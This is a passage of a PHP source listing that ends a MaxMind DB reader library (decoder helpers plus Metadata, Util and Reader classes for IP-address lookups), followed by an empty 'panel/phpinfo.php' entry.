206 | private function decodePointer($ctrlByte, $offset)
207 | {
208 | $pointerSize = (($ctrlByte >> 3) & 0x3) + 1;
209 |
210 | $buffer = Util::read($this->fileStream, $offset, $pointerSize);
211 | $offset = $offset + $pointerSize;
212 |
213 | $packed = $pointerSize === 4
214 | ? $buffer
215 | : (pack('C', $ctrlByte & 0x7)) . $buffer;
216 |
217 | $unpacked = $this->decodeUint($packed);
218 | $pointer = $unpacked + $this->pointerBase
219 | + $this->pointerValueOffset[$pointerSize];
220 |
221 | return [$pointer, $offset];
222 | }
223 |
224 | private function decodeUint($bytes)
225 | {
226 | list(, $int) = unpack('N', $this->zeroPadLeft($bytes, 4));
227 |
228 | return $int;
229 | }
230 |
231 | private function decodeBigUint($bytes, $byteLength)
232 | {
233 | $maxUintBytes = log(PHP_INT_MAX, 2) / 8;
234 |
235 | if ($byteLength === 0) {
236 | return 0;
237 | }
238 |
239 | $numberOfLongs = ceil($byteLength / 4);
240 | $paddedLength = $numberOfLongs * 4;
241 | $paddedBytes = $this->zeroPadLeft($bytes, $paddedLength);
242 | $unpacked = array_merge(unpack("N$numberOfLongs", $paddedBytes));
243 |
244 | $integer = 0;
245 |
246 | // 2^32
247 | $twoTo32 = '4294967296';
248 |
249 | foreach ($unpacked as $part) {
250 | // We only use gmp or bcmath if the final value is too big
251 | if ($byteLength <= $maxUintBytes) {
252 | $integer = ($integer << 32) + $part;
253 | } elseif (extension_loaded('gmp')) {
254 | $integer = gmp_strval(gmp_add(gmp_mul($integer, $twoTo32), $part));
255 | } elseif (extension_loaded('bcmath')) {
256 | $integer = bcadd(bcmul($integer, $twoTo32), $part);
257 | } else {
258 | throw new \RuntimeException(
259 | 'The gmp or bcmath extension must be installed to read this database.'
260 | );
261 | }
262 | }
263 |
264 | return $integer;
265 | }
266 |
267 | private function decodeString($bytes)
268 | {
269 | // XXX - NOOP. As far as I know, the end user has to explicitly set the
270 | // encoding in PHP. Strings are just bytes.
271 | return $bytes;
272 | }
273 |
274 | private function sizeFromCtrlByte($ctrlByte, $offset)
275 | {
276 | $size = $ctrlByte & 0x1f;
277 | $bytesToRead = $size < 29 ? 0 : $size - 28;
278 | $bytes = Util::read($this->fileStream, $offset, $bytesToRead);
279 | $decoded = $this->decodeUint($bytes);
280 |
281 | if ($size === 29) {
282 | $size = 29 + $decoded;
283 | } elseif ($size === 30) {
284 | $size = 285 + $decoded;
285 | } elseif ($size > 30) {
286 | $size = ($decoded & (0x0FFFFFFF >> (32 - (8 * $bytesToRead))))
287 | + 65821;
288 | }
289 |
290 | return [$size, $offset + $bytesToRead];
291 | }
292 |
293 | private function zeroPadLeft($content, $desiredLength)
294 | {
295 | return str_pad($content, $desiredLength, "\x00", STR_PAD_LEFT);
296 | }
297 |
298 | private function maybeSwitchByteOrder($bytes)
299 | {
300 | return $this->switchByteOrder ? strrev($bytes) : $bytes;
301 | }
302 |
303 | private function isPlatformLittleEndian()
304 | {
305 | $testint = 0x00FF;
306 | $packed = pack('S', $testint);
307 |
308 | return $testint === current(unpack('v', $packed));
309 | }
310 | }
311 |
312 | ///////////////////////////////////////////////
313 | class InvalidDatabaseException extends \Exception
314 | {
315 | }
316 | /////////////////////////////////////////////////
317 | class Metadata
318 | {
319 | private $binaryFormatMajorVersion;
320 | private $binaryFormatMinorVersion;
321 | private $buildEpoch;
322 | private $databaseType;
323 | private $description;
324 | private $ipVersion;
325 | private $languages;
326 | private $nodeByteSize;
327 | private $nodeCount;
328 | private $recordSize;
329 | private $searchTreeSize;
330 |
331 | public function __construct($metadata)
332 | {
333 | $this->binaryFormatMajorVersion =
334 | $metadata['binary_format_major_version'];
335 | $this->binaryFormatMinorVersion =
336 | $metadata['binary_format_minor_version'];
337 | $this->buildEpoch = $metadata['build_epoch'];
338 | $this->databaseType = $metadata['database_type'];
339 | $this->languages = $metadata['languages'];
340 | $this->description = $metadata['description'];
341 | $this->ipVersion = $metadata['ip_version'];
342 | $this->nodeCount = $metadata['node_count'];
343 | $this->recordSize = $metadata['record_size'];
344 | $this->nodeByteSize = $this->recordSize / 4;
345 | $this->searchTreeSize = $this->nodeCount * $this->nodeByteSize;
346 | }
347 |
348 | public function __get($var)
349 | {
350 | return $this->$var;
351 | }
352 | }
353 | ///////////////////////////////////////////////////////
354 |
355 | class Util
356 | {
357 | public static function read($stream, $offset, $numberOfBytes)
358 | {
359 | if ($numberOfBytes === 0) {
360 | return '';
361 | }
362 | if (fseek($stream, $offset) === 0) {
363 | $value = fread($stream, $numberOfBytes);
364 |
365 | // We check that the number of bytes read is equal to the number
366 | // asked for. We use ftell as getting the length of $value is
367 | // much slower.
368 | if (ftell($stream) - $offset === $numberOfBytes) {
369 | return $value;
370 | }
371 | }
372 | throw new InvalidDatabaseException(
373 | 'The MaxMind DB file contains bad data'
374 | );
375 | }
376 | }
377 |
378 | //////////////////////////////////////////////////
379 | class Reader
380 | {
381 | private static $DATA_SECTION_SEPARATOR_SIZE = 16;
382 | private static $METADATA_START_MARKER = "\xAB\xCD\xEFMaxMind.com";
383 | private static $METADATA_START_MARKER_LENGTH = 14;
384 | private static $METADATA_MAX_SIZE = 131072; // 128 * 1024 = 128KB
385 |
386 | private $decoder;
387 | private $fileHandle;
388 | private $fileSize;
389 | private $ipV4Start;
390 | private $metadata;
391 |
392 | /**
393 | * Constructs a Reader for the MaxMind DB format. The file passed to it must
394 | * be a valid MaxMind DB file such as a GeoIp2 database file.
395 | *
396 | * @param string $database
397 | * the MaxMind DB file to use
398 | *
399 | * @throws \InvalidArgumentException for invalid database path or unknown arguments
400 | * @throws \MaxMind\Db\Reader\InvalidDatabaseException
401 | * if the database is invalid or there is an error reading
402 | * from it
403 | */
404 | public function __construct($database)
405 | {
406 | if (func_num_args() !== 1) {
407 | throw new \InvalidArgumentException(
408 | 'The constructor takes exactly one argument.'
409 | );
410 | }
411 |
412 | if (!is_readable($database)) {
413 | throw new \InvalidArgumentException(
414 | "The file \"$database\" does not exist or is not readable."
415 | );
416 | }
417 | $this->fileHandle = @fopen($database, 'rb');
418 | if ($this->fileHandle === false) {
419 | throw new \InvalidArgumentException(
420 | "Error opening \"$database\"."
421 | );
422 | }
423 | $this->fileSize = @filesize($database);
424 | if ($this->fileSize === false) {
425 | throw new \UnexpectedValueException(
426 | "Error determining the size of \"$database\"."
427 | );
428 | }
429 |
430 | $start = $this->findMetadataStart($database);
431 | $metadataDecoder = new Decoder($this->fileHandle, $start);
432 | list($metadataArray) = $metadataDecoder->decode($start);
433 | $this->metadata = new Metadata($metadataArray);
434 | $this->decoder = new Decoder(
435 | $this->fileHandle,
436 | $this->metadata->searchTreeSize + self::$DATA_SECTION_SEPARATOR_SIZE
437 | );
438 | }
439 |
440 | /**
441 | * Looks up the
address
in the MaxMind DB.
442 | *
443 | * @param string $ipAddress
444 | * the IP address to look up
445 | *
446 | * @throws \BadMethodCallException if this method is called on a closed database
447 | * @throws \InvalidArgumentException if something other than a single IP address is passed to the method
448 | * @throws InvalidDatabaseException
449 | * if the database is invalid or there is an error reading
450 | * from it
451 | *
452 | * @return array the record for the IP address
453 | */
454 | public function get($ipAddress)
455 | {
456 | if (func_num_args() !== 1) {
457 | throw new \InvalidArgumentException(
458 | 'Method takes exactly one argument.'
459 | );
460 | }
461 |
462 | if (!is_resource($this->fileHandle)) {
463 | throw new \BadMethodCallException(
464 | 'Attempt to read from a closed MaxMind DB.'
465 | );
466 | }
467 |
468 | if (!filter_var($ipAddress, FILTER_VALIDATE_IP)) {
469 | throw new \InvalidArgumentException(
470 | "The value \"$ipAddress\" is not a valid IP address."
471 | );
472 | }
473 |
474 | if ($this->metadata->ipVersion === 4 && strrpos($ipAddress, ':')) {
475 | throw new \InvalidArgumentException(
476 | "Error looking up $ipAddress. You attempted to look up an"
477 | . ' IPv6 address in an IPv4-only database.'
478 | );
479 | }
480 | $pointer = $this->findAddressInTree($ipAddress);
481 | if ($pointer === 0) {
482 | return null;
483 | }
484 |
485 | return $this->resolveDataPointer($pointer);
486 | }
487 |
488 | private function findAddressInTree($ipAddress)
489 | {
490 | // XXX - could simplify. Done as a byte array to ease porting
491 | $rawAddress = array_merge(unpack('C*', inet_pton($ipAddress)));
492 |
493 | $bitCount = count($rawAddress) * 8;
494 |
495 | // The first node of the tree is always node 0, at the beginning of the
496 | // value
497 | $node = $this->startNode($bitCount);
498 |
499 | for ($i = 0; $i < $bitCount; $i++) {
500 | if ($node >= $this->metadata->nodeCount) {
501 | break;
502 | }
503 | $tempBit = 0xFF & $rawAddress[$i >> 3];
504 | $bit = 1 & ($tempBit >> 7 - ($i % 8));
505 |
506 | $node = $this->readNode($node, $bit);
507 | }
508 | if ($node === $this->metadata->nodeCount) {
509 | // Record is empty
510 | return 0;
511 | } elseif ($node > $this->metadata->nodeCount) {
512 | // Record is a data pointer
513 | return $node;
514 | }
515 | throw new InvalidDatabaseException('Something bad happened');
516 | }
517 |
518 | private function startNode($length)
519 | {
520 | // Check if we are looking up an IPv4 address in an IPv6 tree. If this
521 | // is the case, we can skip over the first 96 nodes.
522 | if ($this->metadata->ipVersion === 6 && $length === 32) {
523 | return $this->ipV4StartNode();
524 | }
525 | // The first node of the tree is always node 0, at the beginning of the
526 | // value
527 | return 0;
528 | }
529 |
530 | private function ipV4StartNode()
531 | {
532 | // This is a defensive check. There is no reason to call this when you
533 | // have an IPv4 tree.
534 | if ($this->metadata->ipVersion === 4) {
535 | return 0;
536 | }
537 |
538 | if ($this->ipV4Start) {
539 | return $this->ipV4Start;
540 | }
541 | $node = 0;
542 |
543 | for ($i = 0; $i < 96 && $node < $this->metadata->nodeCount; $i++) {
544 | $node = $this->readNode($node, 0);
545 | }
546 | $this->ipV4Start = $node;
547 |
548 | return $node;
549 | }
550 |
551 | private function readNode($nodeNumber, $index)
552 | {
553 | $baseOffset = $nodeNumber * $this->metadata->nodeByteSize;
554 |
555 | // XXX - probably could condense this.
556 | switch ($this->metadata->recordSize) {
557 | case 24:
558 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 3, 3);
559 | list(, $node) = unpack('N', "\x00" . $bytes);
560 |
561 | return $node;
562 | case 28:
563 | $middleByte = Util::read($this->fileHandle, $baseOffset + 3, 1);
564 | list(, $middle) = unpack('C', $middleByte);
565 | if ($index === 0) {
566 | $middle = (0xF0 & $middle) >> 4;
567 | } else {
568 | $middle = 0x0F & $middle;
569 | }
570 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 4, 3);
571 | list(, $node) = unpack('N', chr($middle) . $bytes);
572 |
573 | return $node;
574 | case 32:
575 | $bytes = Util::read($this->fileHandle, $baseOffset + $index * 4, 4);
576 | list(, $node) = unpack('N', $bytes);
577 |
578 | return $node;
579 | default:
580 | throw new InvalidDatabaseException(
581 | 'Unknown record size: '
582 | . $this->metadata->recordSize
583 | );
584 | }
585 | }
586 |
587 | private function resolveDataPointer($pointer)
588 | {
589 | $resolved = $pointer - $this->metadata->nodeCount
590 | + $this->metadata->searchTreeSize;
591 | if ($resolved > $this->fileSize) {
592 | throw new InvalidDatabaseException(
593 | "The MaxMind DB file's search tree is corrupt"
594 | );
595 | }
596 |
597 | list($data) = $this->decoder->decode($resolved);
598 |
599 | return $data;
600 | }
601 |
602 | /*
603 | * This is an extremely naive but reasonably readable implementation. There
604 | * are much faster algorithms (e.g., Boyer-Moore) for this if speed is ever
605 | * an issue, but I suspect it won't be.
606 | */
607 | private function findMetadataStart($filename)
608 | {
609 | $handle = $this->fileHandle;
610 | $fstat = fstat($handle);
611 | $fileSize = $fstat['size'];
612 | $marker = self::$METADATA_START_MARKER;
613 | $markerLength = self::$METADATA_START_MARKER_LENGTH;
614 | $metadataMaxLengthExcludingMarker
615 | = min(self::$METADATA_MAX_SIZE, $fileSize) - $markerLength;
616 |
617 | for ($i = 0; $i <= $metadataMaxLengthExcludingMarker; $i++) {
618 | for ($j = 0; $j < $markerLength; $j++) {
619 | fseek($handle, $fileSize - $i - $j - 1);
620 | $matchBit = fgetc($handle);
621 | if ($matchBit !== $marker[$markerLength - $j - 1]) {
622 | continue 2;
623 | }
624 | }
625 |
626 | return $fileSize - $i;
627 | }
628 | throw new InvalidDatabaseException(
629 | "Error opening database file ($filename). " .
630 | 'Is this a valid MaxMind DB file?'
631 | );
632 | }
633 |
634 | /**
635 | * @throws \InvalidArgumentException if arguments are passed to the method
636 | * @throws \BadMethodCallException if the database has been closed
637 | *
638 | * @return Metadata object for the database
639 | */
640 | public function metadata()
641 | {
642 | if (func_num_args()) {
643 | throw new \InvalidArgumentException(
644 | 'Method takes no arguments.'
645 | );
646 | }
647 |
648 | // Not technically required, but this makes it consistent with
649 | // C extension and it allows us to change our implementation later.
650 | if (!is_resource($this->fileHandle)) {
651 | throw new \BadMethodCallException(
652 | 'Attempt to read from a closed MaxMind DB.'
653 | );
654 | }
655 |
656 | return $this->metadata;
657 | }
658 |
659 | /**
660 | * Closes the MaxMind DB and returns resources to the system.
661 | *
662 | * @throws \Exception
663 | * if an I/O error occurs
664 | */
665 | public function close()
666 | {
667 | if (!is_resource($this->fileHandle)) {
668 | throw new \BadMethodCallException(
669 | 'Attempt to close a closed MaxMind DB.'
670 | );
671 | }
672 | fclose($this->fileHandle);
673 | }
674 | }
675 |
--------------------------------------------------------------------------------
/panel/phpinfo.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------